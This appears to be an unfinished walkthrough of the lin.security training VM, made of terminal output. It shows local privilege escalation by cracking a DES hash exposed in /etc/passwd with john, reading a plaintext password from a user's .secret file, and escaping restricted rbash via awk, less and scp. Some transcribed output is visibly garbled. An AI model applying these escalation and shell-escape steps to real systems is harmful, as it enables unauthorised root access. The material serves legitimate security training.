

lin.security TBC

LPE using visible hash in /etc/passwd

```
bob@linsecurity:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106:./home/syslog:/usr/sbin/nologin
messagebus:x:103:107:./nonexistent:/usr/sbin/nologin
_apt:x:104:65534:./nonexistent:/usr/sbin/nologin
lxd:x:105:65534:./var/lib/lxd/./bin/false
uidd:x:106:110:./run/uidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112:./var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1:./var/cache/pollinate:/bin/false
sshd:x:110:65534:./run/sshd:/usr/sbin/nologin
bob:x:1000:1004:bob:/home/bob:/bin/bash
statd:x:111:65534:./var/lib/nfs:/usr/sbin/nologin
peter:x:1001:1005:.,.,./home/peter:/bin/bash
insecurity:AzER3pBZh6WZE:0:0:./bin/sh
susan:x:1002:1006:.,.,./home/susan:/bin/rbash
```

Identifying hash:

```
bob@linsecurity:~$ cat /etc/passwd | grep insecurity | cut -d ':' -f1,2
insecurity:AzER3pBZh6WZE
bob@linsecurity:~$
```

```

root@kali:/python# hash-identifier
#####
#
#
#
#
#
#
#
#
#
#
#####
v1.1
By Zion3R
www.Blackploit.com
Root@Blackploit.com
#####

-----
HASH: AzER3pBZh6WZE

Possible Hashs:
[+] DES(Unix)

```

Cracking password:

```

root@kali:/tmp/crack# john -wordlist:rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (descript, traditional crypt(3) [DES 128/128 AVX-16])
Press 'q' or Ctrl-C to abort, almost any other key for status
P@ssw0rd (insecurity)
lg 0:00:00:00 DONE (2019-12-06 16:00) 100.0g/s 780800p/s 780800c/s 780800C/s sergiu..baller23
Use the "--show" option to display all of the cracked passwords reliably
Session completed

```

```

bob@linsecurity:~$ groups insecurity
insecurity : root
bob@linsecurity:~$ su insecurity
Password:
# █

```

Finding Susan's password:

```

bob@linsecurity:/home/susan$ find / -type f -user susan 2> /dev/null
/home/susan/.bashrc
/home/susan/.bash_history
/home/susan/.bash_logout
/home/susan/.secret
/home/susan/.profile
bob@linsecurity:/home/susan$ █

```

```

bob@linsecurity:/home$ ls -lah
total 20K
drwxr-xr-x  5 root  root  4.0K Jul  9  2018 .
drwxr-xr-x 23 root  root  4.0K Jul 10  2018 ..
drwxr-xr-x  4 bob   bob   4.0K Jul 10  2018 bob
drwxr-xr-x  5 peter peter 4.0K Jul 10  2018 peter
drwxr-xr-x  2 susan susan 4.0K Jul 10  2018 susan
bob@linsecurity:/home$ cd susan/
bob@linsecurity:/home/susan$ ls -lah
total 24K
drwxr-xr-x 2 susan susan 4.0K Jul 10  2018 .
drwxr-xr-x 5 root  root  4.0K Jul  9  2018 ..
-rw-r--r-- 1 susan susan  220 Jul  9  2018 .bash_logout
-rw-r--r-- 1 susan susan 3.7K Jul  9  2018 .bashrc
-rw-r--r-- 1 susan susan  807 Jul  9  2018 .profile
-rw-r--r-- 1 susan susan   20 Jul  9  2018 .secret
bob@linsecurity:/home/susan$ cat .secret
MySuperS3cretValue!

```

```

bob@linsecurity:/home/susan$ su susan
Password:
susan@linsecurity:~$ █

```

TBC:

```

bob@linsecurity:/home/susan$ showmount -e
Export list for linsecurity:
/home/peter *

```

Bob's Privileges:

```

bob may run the following commands on linsecurity:
(ALL) /bin/ssh, /usr/bin/awk, /bin/bash, /bin/sb, /bin/csh, /usr/bin/curl, /bin/dash, /bin/ed, /usr/bin/env, /usr/bin/expect, /usr/bin/find, /usr/bin/ftp, /usr/bin/less,
/usr/bin/man, /bin/more, /usr/bin/scp, /usr/bin/socat, /usr/bin/ssh, /usr/bin/vi, /usr/bin/zsh, /usr/bin/pico, /usr/bin/rvim, /usr/bin/perl, /usr/bin/tclsh, /usr/bin/git,
/usr/bin/rsync, /usr/bin/sftp

```

Susan rbash:

```

susan@linsecurity:~$ echo $SHELL
/bin/rbash
susan@linsecurity:~$ █

```

```
susan@linsecurity:~$ sudo -l
[sudo] password for susan:
Sorry, try again.
[sudo] password for susan:
Sorry, user susan may not run sudo on linsecurity.
susan@linsecurity:~$
```

Bypassing rbash using awk:

```
susan@linsecurity:/home/bob$ cd ..
rbash: cd: restricted
susan@linsecurity:/home/bob$ cd /
rbash: cd: restricted
susan@linsecurity:/home/bob$
```

```
susan@linsecurity:/home/bob$ awk 'BEGIN {system("/bin/bash")}'
susan@linsecurity:/home/bob$ cd ..
susan@linsecurity:/home$ ls -lah
total 20K
drwxr-xr-x  5 root  root  4.0K Jul  9  2018 .
drwxr-xr-x 23 root  root  4.0K Jul 10  2018 ..
drwxr-xr-x  4 bob   bob   4.0K Jul 10  2018 bob
drwxr-xr-x  5 peter peter 4.0K Jul 10  2018 peter
drwxr-xr-x  3 susan susan 4.0K Dec  6 08:16 susan
susan@linsecurity:/home$
```

Viewing files in rbash using less pager:

```
State: x:111:0333:,,,:/usr/bin/lesspipe: restricted: cannot specify `/' in command names
peter:x:1001:1005:,,,:/home/peter:/bin/bash
insecurity:AzER3pBZh6WZE:0:0:,:/bin/sh
susan:x:1002:1006:,,,:/home/susan:/bin/rbash
!done (press RETURN)
```

```
/bin/rbash: /usr/bin/lesspipe: restricted: cannot specify `/' in command names
total 20K
drwxr-xr-x  5 root  root  4.0K Jul  9  2018 .
drwxr-xr-x 23 root  root  4.0K Jul 10  2018 ..
drwxr-xr-x  4 bob   bob   4.0K Jul 10  2018 bob
drwxr-xr-x  5 peter peter 4.0K Jul 10  2018 peter
drwxr-xr-x  3 susan susan 4.0K Dec  6 08:16 susan
!done (press RETURN)
```

Bypassing rbash via scp:

```
~  
~  
~  
~  
:vi /tmp/test.sh
```

```
#!/bin/bash  
/bin/bash
```

```
total 1.2M  
drwxrwxrwt  9 root  root  4.0K Dec  6 08:28 .  
drwxr-xr-x 23 root  root  4.0K Jul 10 2018 ..  
-rwxr-xr-x  1 susan susan 1.1M Dec  6 08:24 bash  
drwxrwxrwt  2 root  root  4.0K Dec  6 07:52 .font-unix  
drwxrwxrwt  2 root  root  4.0K Dec  6 07:52 .ICE-unix  
drwx----- 3 root  root  4.0K Dec  6 07:52 systemd-private-  
drwx----- 3 root  root  4.0K Dec  6 07:52 systemd-private-  
-rwxrwxr-x  1 susan susan   22 Dec  6 08:28 test.sh  
-rw-r--r--  1 susan susan  12K Dec  6 08:28 .test.sh.swp  
drwxrwxrwt  2 root  root  4.0K Dec  6 07:52 .Test-unix  
drwxrwxrwt  2 root  root  4.0K Dec  6 07:52 .X11-unix  
drwxrwxrwt  2 root  root  4.0K Dec  6 07:52 .XIM-unix
```

```
susan@linsecurity:~$ scp susan@localhost:/tmp/test.sh .  
susan@localhost's password:  
test.sh  
susan@linsecurity:~$
```

```
susan@linsecurity:~$ ls -lah
total 56K
drwxr-xr-x 6 susan susan 4.0K Dec 6 08:59 .
drwxr-xr-x 5 root root 4.0K Jul 9 2018 ..
-rw----- 1 susan susan 712 Dec 6 08:25 .bash_history
-rw-r--r-- 1 susan susan 220 Jul 9 2018 .bash_logout
-rw-r--r-- 1 susan susan 3.7K Jul 9 2018 .bashrc
drwx----- 2 susan susan 4.0K Dec 6 08:24 .cache
drwxr-x-- 3 susan susan 4.0K Dec 6 08:06 .config
drwx----- 3 susan susan 4.0K Dec 6 08:24 .gnupg
-rw----- 1 susan susan 136 Dec 6 08:24 .lessht
-rw-r--r-- 1 susan susan 807 Jul 9 2018 .profile
-rw-r--r-- 1 susan susan 20 Jul 9 2018 .secret
drwx----- 2 susan susan 4.0K Dec 6 08:23 .ssh
-rwxrwxr-x 1 susan susan 22 Dec 6 09:00 test.sh
-rw----- 1 susan susan 3.8K Dec 6 08:59 .viminfo
susan@linsecurity:~$
```

```
susan@linsecurity:~$ bash test.sh
susan@linsecurity:~$ cd ..
susan@linsecurity:/home$
```